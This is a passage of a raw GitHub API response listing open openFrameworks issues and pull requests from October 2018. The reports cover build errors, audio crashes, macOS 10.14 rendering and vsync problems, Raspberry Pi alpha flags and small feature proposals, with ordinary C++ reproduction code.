06:02:41 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4971'), ('X-RateLimit-Reset', '1540536267'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', 'W/"77d135814a1f98b76a3f0c1819433035"'), ('X-OAuth-Scopes', 'repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="next", ; rel="last"'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'ACEC:235E:3C0061:772AA8:5BD2AE00')] [{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6158","repository_url":"https://api.github.com/repos/openframeworks/openFrameworks","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6158/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6158/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6158/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/6158","id":372772260,"node_id":"MDU6SXNzdWUzNzI3NzIyNjA=","number":6158,"title":"Compiling libraries msys2 error: \"This package doesn’t support your platform\" ","user":{"login":"invisiblesignal","id":44383181,"node_id":"MDQ6VXNlcjQ0MzgzMTgx","avatar_url":"https://avatars0.githubusercontent.com/u/44383181?v=4","gravatar_id":"","url":"https://api.github.com/users/invisiblesignal","html_url":"https://github.com/invisiblesignal","followers_url":"https://api.github.com/users/invisiblesignal/followers","following_url":"https://api.github.com/users/invisiblesignal/following{/other_user}","gists_url":"https://api.github.com/users/invisiblesignal/gists{/gist_id}","starred_url":"https://api.github.com/users/invisiblesignal/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/invisiblesignal/subscriptions","organizations_url":"https://api.github.com/users/invisiblesignal/orgs","repos_url":"https://api.github.com/users/invisiblesignal/repos","events_url":"https://api.github.com/users/invisiblesignal/events{/privacy}","received_events_url":"https://api.github.com/users/invisiblesignal/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":0,"created_at":"2018-10-23T01:58:47Z","updated_at":"2018-10-23T01:58:47Z","closed_at":null,"author_association":"NONE","body":"New user trying to install v0.10.0 Windows Qt Creator/msys2. I'm following setup guide here (https://openframeworks.cc/setup/msys2/) and have problem compiling oF libraries... in MINGW32 shell after typing \"make\" I get the following error: “HOST_OS=MINGW32_NT-10.0\r\nmakefileCommon/config.shared.mk:207: *** This package doesn’t support your platform, probably you downloaded the wrong package?. Stop.”\r\n\r\nI tried both v0.10.0_msys2_release as well as the v20181009_msys2_nightly, get same error in both cases.\r\n\r\nAny advice?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6157","repository_url":"https://api.github.com/repos/openframeworks/openFrameworks","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6157/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6157/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6157/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/6157","id":372373003,"node_id":"MDU6SXNzdWUzNzIzNzMwMDM=","number":6157,"title":"suggestion of improvement : ofRectangle operator","user":{"login":"dimitre","id":58289,"node_id":"MDQ6VXNlcjU4Mjg5","avatar_url":"https://avatars1.githubusercontent.com/u/58289?v=4","gravatar_id":"","url":"https://api.github.com/users/dimitre","html_url":"https://github.com/dimitre","followers_url":"https://api.github.com/users/dimitre/followers","following_url":"https://api.github.com/users/dimitre/following{/other_user}","gists_url":"https://api.github.com/users/dimitre/gists{/gist_id}","starred_url":"https://api.github.com/users/dimitre/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dimitre/subscriptions","organizations_url":"https://api.github.com/users/dimitre/orgs","repos_url":"https://api.github.com/users/dimitre/repos","events_url":"https://api.github.com/users/dimitre/events{/privacy}","received_events_url":"https://api.github.com/users/dimitre/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":0,"created_at":"2018-10-22T01:11:21Z","updated_at":"2018-10-22T01:11:21Z","closed_at":null,"author_association":"NONE","body":"it would be great to be able to multiply an ofRectangle by and int or float, as in GLSL or glm.\r\n\r\nexample: \r\n```c++\r\nfloat scale = 2.0;\r\nfbo.draw(rect * scale);\r\n```"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6156","repository_url":"https://api.github.com/repos/openframeworks/openFrameworks","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6156/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6156/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6156/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/6156","id":372300625,"node_id":"MDU6SXNzdWUzNzIzMDA2MjU=","number":6156,"title":"ofSoundBuffer::getChannel() causes exception","user":{"login":"hugoymh","id":34024260,"node_id":"MDQ6VXNlcjM0MDI0MjYw","avatar_url":"https://avatars2.githubusercontent.com/u/34024260?v=4","gravatar_id":"","url":"https://api.github.com/users/hugoymh","html_url":"https://github.com/hugoymh","followers_url":"https://api.github.com/users/hugoymh/followers","following_url":"https://api.github.com/users/hugoymh/following{/other_user}","gists_url":"https://api.github.com/users/hugoymh/gists{/gist_id}","starred_url":"https://api.github.com/users/hugoymh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hugoymh/subscriptions","organizations_url":"https://api.github.com/users/hugoymh/orgs","repos_url":"https://api.github.com/users/hugoymh/repos","events_url":"https://api.github.com/users/hugoymh/events{/privacy}","received_events_url":"https://api.github.com/users/hugoymh/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":0,"created_at":"2018-10-21T10:34:30Z","updated_at":"2018-10-21T10:36:45Z","closed_at":null,"author_association":"NONE","body":"On MacOS, Xcode 9.4.1\r\n\r\n```\r\nvoid ofSoundBuffer::getChannel(ofSoundBuffer & targetBuffer, std::size_t sourceChannel) const {\r\n//...\r\n\tif(channels == 1){\r\n //third argument is zero\r\n\t\tcopyTo(targetBuffer, getNumFrames(), 0, 0);\r\n\t}\r\n//...\r\n}\r\n```\r\n```\r\nvoid ofSoundBuffer::copyTo(ofSoundBuffer & soundBuffer, std::size_t nFrames, std::size_t outChannels,std::size_t fromFrame,bool loop) const{\r\n\tsoundBuffer.resize(nFrames*outChannels);\r\n\tsoundBuffer.setNumChannels(outChannels);\r\n\tsoundBuffer.setSampleRate(samplerate);\r\n//third argument (outChannels) passed as zero\r\n\tcopyTo(&soundBuffer[0], nFrames, outChannels, fromFrame, loop);\r\n}\r\n\r\n```\r\n```\r\nvoid ofSoundBuffer::setNumChannels(int channels){\r\n//this line assigns this->channels to zero\t\r\nthis->channels = channels;\r\n\tcheckSizeAndChannelsConsistency(\"setNumChannels\");\r\n}\r\n```\r\n```\r\nbool ofSoundBuffer::checkSizeAndChannelsConsistency(const std::string& _function ) {\r\n\tstd::string function = _function;\r\n\r\n\tif ( function.size()!= 0 ){\r\n\t\tfunction += \": \";\r\n\t}\r\n//if statement results in division by zero, causing exception\r\n\tif ( (size()%channels) != 0 ){\r\n\t\tofLogWarning(\"ofSoundBuffer\") << function << \"channel count \" << channels << \" is not consistent with sample count \" << size() << \" (non-zero remainder)\";\r\n\t\treturn false;\r\n\t}\r\n\treturn true;\r\n}\r\n```\r\n\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6155","repository_url":"https://api.github.com/repos/openframeworks/openFrameworks","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6155/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6155/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6155/events","html_url":"https://github.com/openframeworks/openFrameworks/pull/6155","id":371599846,"node_id":"MDExOlB1bGxSZXF1ZXN0MjI0MDExMTQ0","number":6155,"title":"Make ofSystemTextBoxDialog return empty string on cancel.","user":{"login":"ShadowMitia","id":3752363,"node_id":"MDQ6VXNlcjM3NTIzNjM=","avatar_url":"https://avatars1.githubusercontent.com/u/3752363?v=4","gravatar_id":"","url":"https://api.github.com/users/ShadowMitia","html_url":"https://github.com/ShadowMitia","followers_url":"https://api.github.com/users/ShadowMitia/followers","following_url":"https://api.github.com/users/ShadowMitia/following{/other_user}","gists_url":"https://api.github.com/users/ShadowMitia/gists{/gist_id}","starred_url":"https://api.github.com/users/ShadowMitia/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ShadowMitia/subscriptions","organizations_url":"https://api.github.com/users/ShadowMitia/orgs","repos_url":"https://api.github.com/users/ShadowMitia/repos","events_url":"https://api.github.com/users/ShadowMitia/events{/privacy}","received_events_url":"https://api.github.com/users/ShadowMitia/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":0,"created_at":"2018-10-18T15:56:58Z","updated_at":"2018-10-18T15:56:58Z","closed_at":null,"author_association":"CONTRIBUTOR","pull_request":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/pulls/6155","html_url":"https://github.com/openframeworks/openFrameworks/pull/6155","diff_url":"https://github.com/openframeworks/openFrameworks/pull/6155.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/6155.patch"},"body":"See issue #4945.\r\n\r\nI've made changes for macOS as suggested in the thread and adapted it for Linux and Windows.\r\n\r\nI've only been able to test on Linux right now, I believe it should work fine on macOS, but I'm really unsure on the windows side.\r\n\r\nI haven't looked at the parts of the code that deal with android and emscripten."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6154","repository_url":"https://api.github.com/repos/openframeworks/openFrameworks","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6154/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6154/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6154/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/6154","id":371527272,"node_id":"MDU6SXNzdWUzNzE1MjcyNzI=","number":6154,"title":"ofSoundPlayer load() hangs on linux when streaming is true","user":{"login":"davidemania","id":6617948,"node_id":"MDQ6VXNlcjY2MTc5NDg=","avatar_url":"https://avatars1.githubusercontent.com/u/6617948?v=4","gravatar_id":"","url":"https://api.github.com/users/davidemania","html_url":"https://github.com/davidemania","followers_url":"https://api.github.com/users/davidemania/followers","following_url":"https://api.github.com/users/davidemania/following{/other_user}","gists_url":"https://api.github.com/users/davidemania/gists{/gist_id}","starred_url":"https://api.github.com/users/davidemania/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/davidemania/subscriptions","organizations_url":"https://api.github.com/users/davidemania/orgs","repos_url":"https://api.github.com/users/davidemania/repos","events_url":"https://api.github.com/users/davidemania/events{/privacy}","received_events_url":"https://api.github.com/users/davidemania/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":0,"created_at":"2018-10-18T13:20:43Z","updated_at":"2018-10-18T13:22:40Z","closed_at":null,"author_association":"NONE","body":"If the ofSoundPlayer::load() method is called with streaming == false (the default) everything works as expected, but setting the streaming option to true causes the application to hang badly, it stops responding and has to be killed.\r\n\r\nThe issue can be reproduced easily with the soundPlayerExample in examples directory, just adding “, true” to the load call in setup()\r\n\r\nTest conditions: OS is Ubuntu 18.04, OF version 0.10.0"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6153","repository_url":"https://api.github.com/repos/openframeworks/openFrameworks","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6153/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6153/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6153/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/6153","id":371353361,"node_id":"MDU6SXNzdWUzNzEzNTMzNjE=","number":6153,"title":"Android Studio for all of CPP files: This File is not part of the project...","user":{"login":"whyameye","id":1716966,"node_id":"MDQ6VXNlcjE3MTY5NjY=","avatar_url":"https://avatars0.githubusercontent.com/u/1716966?v=4","gravatar_id":"","url":"https://api.github.com/users/whyameye","html_url":"https://github.com/whyameye","followers_url":"https://api.github.com/users/whyameye/followers","following_url":"https://api.github.com/users/whyameye/following{/other_user}","gists_url":"https://api.github.com/users/whyameye/gists{/gist_id}","starred_url":"https://api.github.com/users/whyameye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/whyameye/subscriptions","organizations_url":"https://api.github.com/users/whyameye/orgs","repos_url":"https://api.github.com/users/whyameye/repos","events_url":"https://api.github.com/users/whyameye/events{/privacy}","received_events_url":"https://api.github.com/users/whyameye/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":6,"created_at":"2018-10-18T04:04:17Z","updated_at":"2018-10-18T13:02:12Z","closed_at":null,"author_association":"NONE","body":"After trying the latest release of oF I switched to the master branch and am still having the same problem:\r\nUsing the project generator I convert an Android example to Android Studio. Then loading into Android Studio I get for all oF cpp files: \"This file is not part of the project. Please include it in the appropriate build file...\" I'm not an Android Studio expert and it is not obvious to me how to move forward as CMakelists.txt doesn't exist etc.\r\n\r\nAndroid Studio compiles the code fine but practically every line is marked as an error in the IDE as all the references are broken."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6152","repository_url":"https://api.github.com/repos/openframeworks/openFrameworks","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6152/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6152/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6152/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/6152","id":369295799,"node_id":"MDU6SXNzdWUzNjkyOTU3OTk=","number":6152,"title":"Proposed change: expose alpha flags for ofAppEGLWindow","user":{"login":"jvcleave","id":150037,"node_id":"MDQ6VXNlcjE1MDAzNw==","avatar_url":"https://avatars0.githubusercontent.com/u/150037?v=4","gravatar_id":"","url":"https://api.github.com/users/jvcleave","html_url":"https://github.com/jvcleave","followers_url":"https://api.github.com/users/jvcleave/followers","following_url":"https://api.github.com/users/jvcleave/following{/other_user}","gists_url":"https://api.github.com/users/jvcleave/gists{/gist_id}","starred_url":"https://api.github.com/users/jvcleave/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jvcleave/subscriptions","organizations_url":"https://api.github.com/users/jvcleave/orgs","repos_url":"https://api.github.com/users/jvcleave/repos","events_url":"https://api.github.com/users/jvcleave/events{/privacy}","received_events_url":"https://api.github.com/users/jvcleave/received_events","type":"User","site_admin":false},"labels":[{"id":28684,"node_id":"MDU6TGFiZWwyODY4NA==","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425","default":false}],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":0,"created_at":"2018-10-11T20:38:47Z","updated_at":"2018-10-11T20:38:47Z","closed_at":null,"author_association":"MEMBER","body":"Currently the default alpha flag set for a RPi window is `DISPMANX_FLAGS_ALPHA_FIXED_ALL_PIXELS`\r\n\r\nOther options are:\r\n\r\n```\r\nDISPMANX_FLAGS_ALPHA_FROM_SOURCE\r\nDISPMANX_FLAGS_ALPHA_FIXED_ALL_PIXELS \r\nDISPMANX_FLAGS_ALPHA_FIXED_NON_ZERO \r\nDISPMANX_FLAGS_ALPHA_FIXED_EXCEED_0X07\r\nDISPMANX_FLAGS_ALPHA_PREMULT\r\nDISPMANX_FLAGS_ALPHA_MIX \r\n```\r\n\r\n`DISPMANX_FLAGS_ALPHA_FIXED_ALL_PIXELS` sets all alpha values to the value of `settings.eglWindowOpacity` (default 255). For example, if `settings.eglWindowOpacity` is set to 128 and I draw a rectangle with an alpha value of 255 the alpha value will not exceed 128.\r\n\r\nThe most interesting is `DISPMANX_FLAGS_ALPHA_FROM_SOURCE`. With `settings.eglWindowOpacity` set to 0, this allows a totally transparent window but elements drawn retain their alpha values. This enables multiple layers of OF apps or OF apps overlaying other apps\r\n\r\n\r\nExample code:\r\n\r\n```\r\n#include \"ofMain.h\"\r\n#include \"ofAppEGLWindow.h\"\r\n\r\nclass ofApp : public ofBaseApp{\r\npublic:\r\n\r\n void draw()\r\n {\r\n //Set background to alpha 0\r\n ofColor bgColor(ofColor::black, 0);\r\n ofBackground(bgColor);\r\n \r\n int alpha = ofGetFrameNum()%255;\r\n\r\n ofPushStyle();\r\n ofColor orangeBG(ofColor::orange, alpha);\r\n ofSetColor(orangeBG); \r\n ofDrawRectangle(0, 0, 500, 500);\r\n ofPopStyle();\r\n }\r\n};\r\n\r\n\r\nint main( )\r\n{\r\n ofGLESWindowSettings windowSettings;\r\n windowSettings.setSize(1024, 768);\r\n \r\n ofAppEGLWindow::Settings settings(windowSettings);\r\n \r\n settings.eglWindowOpacity = 0;\r\n settings.alphaFlags = DISPMANX_FLAGS_ALPHA_FROM_SOURCE; //proposed change\r\n settings.layer = 2;\r\n \r\n ofCreateWindow(settings);\r\n ofRunApp(new ofApp());\r\n \r\n}\r\n\r\n```\r\n\r\nWith the above code you could start another app (e.g. omxplayer, another OF app) and an orange box would be drawn on top with transparency retained.\r\n\r\n\r\n\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6151","repository_url":"https://api.github.com/repos/openframeworks/openFrameworks","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6151/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6151/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6151/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/6151","id":369254388,"node_id":"MDU6SXNzdWUzNjkyNTQzODg=","number":6151,"title":"soundExample crahsed with `raspberry pi B+` X `raspbian stretch`","user":{"login":"icq4ever","id":530796,"node_id":"MDQ6VXNlcjUzMDc5Ng==","avatar_url":"https://avatars0.githubusercontent.com/u/530796?v=4","gravatar_id":"","url":"https://api.github.com/users/icq4ever","html_url":"https://github.com/icq4ever","followers_url":"https://api.github.com/users/icq4ever/followers","following_url":"https://api.github.com/users/icq4ever/following{/other_user}","gists_url":"https://api.github.com/users/icq4ever/gists{/gist_id}","starred_url":"https://api.github.com/users/icq4ever/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/icq4ever/subscriptions","organizations_url":"https://api.github.com/users/icq4ever/orgs","repos_url":"https://api.github.com/users/icq4ever/repos","events_url":"https://api.github.com/users/icq4ever/events{/privacy}","received_events_url":"https://api.github.com/users/icq4ever/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":0,"created_at":"2018-10-11T18:41:47Z","updated_at":"2018-10-11T20:57:45Z","closed_at":null,"author_association":"NONE","body":"soundPlayerFFTExample and soundPlayerExample is crashed with openframeworks 0.10.0 with clean setup raspbian stretch x raspberry pi B+(old one). it looks like something related with alsa. launching app is ok unless any play sound (ie. click to play).\r\n\r\nI can see error message `Illegal Instruction`\r\n\r\nalsa is working. I can confim with command :\r\n`speaker-test -t wave -c`\r\n\r\n---\r\nby the way, there's no issue on raspberry pi 3 b+."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6149","repository_url":"https://api.github.com/repos/openframeworks/openFrameworks","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6149/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6149/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6149/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/6149","id":367529586,"node_id":"MDU6SXNzdWUzNjc1Mjk1ODY=","number":6149,"title":"General issue for other problems with xcode 10 / macos 10.14","user":{"login":"arturoc","id":48240,"node_id":"MDQ6VXNlcjQ4MjQw","avatar_url":"https://avatars0.githubusercontent.com/u/48240?v=4","gravatar_id":"","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following{/other_user}","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":17,"created_at":"2018-10-07T07:34:50Z","updated_at":"2018-10-23T17:22:12Z","closed_at":null,"author_association":"MEMBER","body":"Opening this since more stuff comes up and not sure it even belongs on a new issue or it's all related:\r\n\r\nhttps://forum.openframeworks.cc/t/ofimage-issue-in-xcode/30628"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6148","repository_url":"https://api.github.com/repos/openframeworks/openFrameworks","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6148/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6148/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6148/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/6148","id":367486070,"node_id":"MDU6SXNzdWUzNjc0ODYwNzA=","number":6148,"title":"can't access Resources/ inside main()","user":{"login":"kylemcdonald","id":157106,"node_id":"MDQ6VXNlcjE1NzEwNg==","avatar_url":"https://avatars3.githubusercontent.com/u/157106?v=4","gravatar_id":"","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following{/other_user}","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":1,"created_at":"2018-10-06T19:04:06Z","updated_at":"2018-10-07T07:39:09Z","closed_at":null,"author_association":"CONTRIBUTOR","body":"I have an app that needs to do some things (like decide whether to decorate the window) before the app is run. This needs to be configured by a file inside the Resources/ folder. Usually [the solution](http://nickhardeman.com/591/preparing-an-openframeworks-application-for-the-mac-app-store/) is to add `ofSetDataPathRoot(\"../Resources\");` but that doesn't work inside `main()`:\r\n\r\n```c++\r\n#include \"ofMain.h\"\r\nint main() {\r\n ofSetDataPathRoot(\"../Resources\");\r\n ofLog() << ofToDataPath(\".\", true);\r\n}\r\n```\r\n\r\n```\r\n[notice ] /Users/kyle/Documents/openFrameworks/apps/Project/App/bin/../Resources/.\r\n```\r\n\r\nI also tried adding `ofRestoreWorkingDirectoryToDefault()`, `ofSetDataPathRoot(\".\")` and `ofToDataPath(\".\")` before `ofSetDataPathRoot()`.\r\n\r\nThe only solution I found is to imitate the code inside `defaultDataPath()`:\r\n\r\n`ofSetDataPathRoot(ofFilePath::join(ofFilePath::getCurrentExeDir(), \"../Resources\"));`"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6147","repository_url":"https://api.github.com/repos/openframeworks/openFrameworks","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6147/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6147/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6147/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/6147","id":367451026,"node_id":"MDU6SXNzdWUzNjc0NTEwMjY=","number":6147,"title":"Rendering completely broken on macos 10.14","user":{"login":"arturoc","id":48240,"node_id":"MDQ6VXNlcjQ4MjQw","avatar_url":"https://avatars0.githubusercontent.com/u/48240?v=4","gravatar_id":"","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following{/other_user}","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":3,"created_at":"2018-10-06T12:03:12Z","updated_at":"2018-10-06T16:04:25Z","closed_at":null,"author_association":"MEMBER","body":"https://forum.openframeworks.cc/t/no-rendering-initially-in-mojave/30624"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6146","repository_url":"https://api.github.com/repos/openframeworks/openFrameworks","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6146/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6146/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6146/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/6146","id":367409282,"node_id":"MDU6SXNzdWUzNjc0MDkyODI=","number":6146,"title":"ofVerticalSync(true) broken on macOS 10.14 + XCode 10.0","user":{"login":"kylemcdonald","id":157106,"node_id":"MDQ6VXNlcjE1NzEwNg==","avatar_url":"https://avatars3.githubusercontent.com/u/157106?v=4","gravatar_id":"","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following{/other_user}","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":5,"created_at":"2018-10-06T01:02:51Z","updated_at":"2018-10-18T14:02:49Z","closed_at":null,"author_association":"CONTRIBUTOR","body":"Using the latest OF from Github.\r\n\r\nI don't know which version of XCode, OF, or macOS created this problem.\r\n\r\nHere's a simple example that should take 4 seconds for a line to walk across the screen from left to right:\r\n\r\n```c++\r\n#include \"ofMain.h\"\r\n\r\nclass ofApp : public ofBaseApp {\r\npublic:\r\n void setup() {\r\n ofSetVerticalSync(true);\r\n ofBackground(0);\r\n }\r\n void update() {\r\n }\r\n void draw() {\r\n ofDrawRectangle(ofGetFrameNum() % 240, 0, 1, 240);\r\n }\r\n};\r\n\r\nint main() {\r\n ofSetupOpenGL(240, 240, OF_WINDOW);\r\n ofRunApp(new ofApp());\r\n}\r\n```\r\n\r\nInstead, it runs much faster, similar to how apps would run without a framerate limit when they are in the background/not in focus."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6145","repository_url":"https://api.github.com/repos/openframeworks/openFrameworks","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6145/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6145/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6145/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/6145","id":366997350,"node_id":"MDU6SXNzdWUzNjY5OTczNTA=","number":6145,"title":"Possible memory leak in ofxGui","user":{"login":"roymacdonald","id":974878,"node_id":"MDQ6VXNlcjk3NDg3OA==","avatar_url":"https://avatars0.githubusercontent.com/u/974878?v=4","gravatar_id":"","url":"https://api.github.com/users/roymacdonald","html_url":"https://github.com/roymacdonald","followers_url":"https://api.github.com/users/roymacdonald/followers","following_url":"https://api.github.com/users/roymacdonald/following{/other_user}","gists_url":"https://api.github.com/users/roymacdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/roymacdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/roymacdonald/subscriptions","organizations_url":"https://api.github.com/users/roymacdonald/orgs","repos_url":"https://api.github.com/users/roymacdonald/repos","events_url":"https://api.github.com/users/roymacdonald/events{/privacy}","received_events_url":"https://api.github.com/users/roymacdonald/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":2,"created_at":"2018-10-04T22:42:51Z","updated_at":"2018-10-05T15:06:50Z","closed_at":null,"author_association":"MEMBER","body":"I just noticed that in 